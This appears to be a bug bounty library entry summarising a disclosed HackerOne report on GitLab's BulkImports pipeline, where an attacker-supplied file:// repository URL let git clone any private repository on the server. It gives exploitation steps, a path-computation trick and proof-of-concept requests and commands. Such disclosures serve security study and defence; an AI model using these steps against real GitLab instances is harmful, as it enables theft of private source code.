# RepositoryPipeline allows importing of local git repos

BulkImports repository pipeline passed attacker-controlled httpUrlToRepo to git fetch without scheme restriction, letting file:// URLs clone any local GitLab repo by project-id hash path.

- Payout: $22,300
- Severity: medium
- Program: GitLab
- Found by: vakzz
- Disclosed: 2022-11-04
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/1685822
- Library page: https://bugbountylibrary.com/r/h1%3A1685822
- Tags: area:web domain:web impact:data-leak impact:internal-access kind:bounty platform:hackerone sev:medium tech:ruby technique:source-review vuln:access-control vuln:idor vuln:path-traversal vuln:ssrf

**Target:** GitLab BulkImports RepositoryPipeline (project import via /import/bulk_imports.json)
**Root cause:** Gitlab::UrlBlocker.validate! was called without allowed schemas, so file:// URLs passed validation and were handed to project.repository.fetch_as_mirror.
**Steps:**
1. Compute target repo path: sha2=Digest::SHA2.hexdigest(project_id), path=@hashed/<sha2[0:2]>/<sha2[2:4]>/<sha2>.git
2. Host a fake BulkImports server returning httpUrlToRepo=`file://aw.rs/var/opt/gitlab/git-data/repositories/@hashed/...git`
3. As victim user, connect the import source via /groups/new#import-group-pane with ngrok URL and any token
4. POST /import/bulk_imports.json with `{"bulk_import":[{"source_type":"project_entity","source_full_path":"group1/project1","destination_namespace":"<user>","destination_slug":"some_project_z_<rand>"}]}`
5. Wait for import; retry if repo lands empty (different server) until clone of victim repo appears
**How found:** Code review of repository_pipeline.rb: noticed UrlBlocker.validate! called without schema allowlist, then reasoned that git fetch accepts file:// and that GitLab storage paths are deterministic from project id.
**Exploitation:** Attacker controls the BulkImports source server, so httpUrlToRepo is fully attacker-supplied. By pointing it at a file:// path derived from the victim project id, git fetch on the GitLab server clones the victim's local repository into the attacker's new project, which the attacker can then read.
**Escalation:** Any project id can be targeted by computing its hashed storage path, enabling mass cloning of private repos across the instance.
**Insight:** When a URL validator is invoked without an explicit scheme allowlist, check every downstream consumer (git, curl, etc.) for dangerous schemes like file://; and remember GitLab hashed storage paths are derivable from project id, turning any local-file read into targeted repo theft.

## Proof of concept (copied exactly from the original report)

**Bulk import fetch call with destination namespace**

```
await fetch("/import/bulk_imports.json", { method: "POST", headers: { "X-CSRF-Token": document.querySelector("[name=csrf-token]").content, "Content-Type": "application/json" }, body: `{"bulk_import":[{"source_type":"project_entity","source_full_path":"group1/project1","destination_namespace":"vakzz","destination_slug":"some_project_z_${Math.floor(Math.random() * 10000)}"}]}` });
```

**git fetch with file:// local repo path**

```
$ git fetch file://aw.rs/var/opt/gitlab/git-data/repositories/@hashed/b1/74/b174103b399555239923697fbe124faa61de4d441bd5c5678275eb0a5a27a562.git
fatal: '/var/opt/gitlab/git-data/repositories/@hashed/b1/74/b174103b399555239923697fbe124faa61de4d441bd5c5678275eb0a5a27a562.git' does not appear to be a git repository
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
```

**Vulnerable repository pipeline load method**

```
def load(context, data)
          url = data['httpUrlToRepo']
          return unless url.present?

          url = url.sub("://", "://oauth2:#{context.configuration.access_token}@")
          project = context.portable

          Gitlab::UrlBlocker.validate!(url, allow_local_network: allow_local_requests?, allow_localhost: allow_local_requests?)

          project.ensure_repository
          project.repository.fetch_as_mirror(url)
        end
```

